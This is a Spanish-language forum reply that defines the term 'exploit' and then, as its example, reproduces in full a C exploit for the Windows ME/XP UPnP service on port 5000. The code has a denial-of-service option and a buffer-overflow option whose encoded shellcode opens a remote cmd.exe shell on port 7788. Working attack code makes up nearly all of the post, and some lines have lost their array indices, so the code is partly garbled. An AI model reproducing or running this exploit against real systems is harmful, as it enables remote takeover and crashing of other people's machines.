Mx50_virus, no te ekivokes.
Un exploit, desde hace varios años, es considerado un conjunto de instrucciones (normalmente en codigo C---> exploit.c) que sirve para aprovechar un fallo de algun sistema/aplicacion y acceder de una manera o otra a privilegios especiales (enr00tarte, ser admin, hacer D.o.S, pillar claves, pillar cookies, etc etc...) Mira, un ejemplo, este es un exploit para explotar el bug de los windows XP en el puerto 5000 (UPNP, Plug and Play):
-----------------------------------------------------------
/*
* WinME/XP UPNP dos & overflow
*
* Run: ./XPloit host <option>
*
* Windows run the "Universal Plug and Play technology" service
* at port 5000. In the future this will allow for seemless
* connectivity of various devices such as a printer.
* This service have a DoS and a buffer overflow I exploit here.
*
* PD: the -e option spawns a cmd.exe shell on port 7788 coded by isno
*
* Author: Gabriel Maggiotti
* Email:
gmaggiot@ciudad.com.ar * Webpage:
http://qb0x.net */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>
#define MAX 10000
#define PORT 5000
#define FREEZE 512
#define NOP 0x43 //inc ebx, instead of 0x90
/***************************************************************************/
int main(int argc,char *argv[])
{
int sockfd[MAX];
char sendXP[]="XP";
char jmpcode[281], execode[840],request[2048];
char *send_buffer;
int num_socks;
int bindport;
int i;
int port;
unsigned char shellcode[] =
"\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
"\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
"\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
"\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
"\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
"\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
"\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"
"\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"
"\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"
"\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"
"\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"
"\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"
"\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
"\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
"\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"
"\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"
"\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"
"\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4"
"\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
"\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"
"\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"
"\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"
"\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"
"\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"
"\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"
"\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"
"\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"
"\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"
"\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"
"\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
"\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
"\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"
"\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7"
"\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"
"\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"
"\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"
"\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
"\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"
"\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"
"\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6"
"\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"
"\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"
"\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"
"\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"
"\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"
"\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"
"\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"
"\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"
"\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"
"\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"
"\x68\x68\x68\x68";
struct hostent *he;
struct sockaddr_in their_addr;
if(argc!=3)
{
fprintf(stderr,"usage:%s <hostname> <command>\n",argv[0]);
fprintf(stderr,"-f freeze the machine.\n");
fprintf(stderr,"-e exploit.\n");
exit(1);
}
if(strstr(argv[2],"-f")) {
num_socks=FREEZE;
send_buffer=sendXP;
}
if(strstr(argv[2],"-e")) {
num_socks=1;
send_buffer=request;
bindport^=0x9797;
shellcode[778]= (bindport) & 0xff;
shellcode[779]= (bindport >> 8) & 0xff;
for(i = 0; i < 268; i++)
jmpcode
= (char)NOP;
jmpcode[268] = (char)0x4d;
jmpcode[269] = (char)0x3f;
jmpcode[270] = (char)0xe3;
jmpcode[271] = (char)0x77;
jmpcode[272] = (char)0x90;
jmpcode[273] = (char)0x90;
jmpcode[274] = (char)0x90;
jmpcode[275] = (char)0x90;
//jmp [ebx+0x64], jump to execute shellcode
jmpcode[276] = (char)0xff;
jmpcode[277] = (char)0x63;
jmpcode[278] = (char)0x64;
jmpcode[279] = (char)0x90;
jmpcode[280] = (char)0x00;
for(i = 0; i < 32; i++)
execode = (char)NOP;
execode[32]=(char)0x00;
strcat(execode, shellcode);
snprintf(request, 2048, "%s%s\r\n\r\n", jmpcode, execode);
}
if((he=gethostbyname(argv[1]))==NULL)
{
perror("gethostbyname");
exit(1);
}
/***************************************************************************/
for(i=0; i<num_socks;i++)
if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) {
perror("socket"); exit(1);
}
their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(PORT);
their_addr.sin_addr=*((struct in_addr*)he->h_addr);
bzero(&(their_addr.sin_zero),8);
for(i=0; i<num_socks;i++)
if( connect(sockfd,(struct sockaddr*)&their_addr, sizeof(struct sockaddr))==-1)
{
perror("connect");
exit(1);
}
for(i=0; i<num_socks;i++)
if(send(sockfd,send_buffer,strlen(send_buffer),0) ==-1)
{
perror("send");
exit(0);
}
for(i=0; i<num_socks;i++)
close(sockfd);
return 0;
}
----------------------------------------------
Ves? Esto es un exploit de los de toda la vida. Hace tiempo, a lo que tu dices que es un html falso se le llamo "XPLOIT", pero es una definicion bastate incorrecta, porq el unico bug que explota es la inocencia del que lo recibe.
Espero q asi quede claro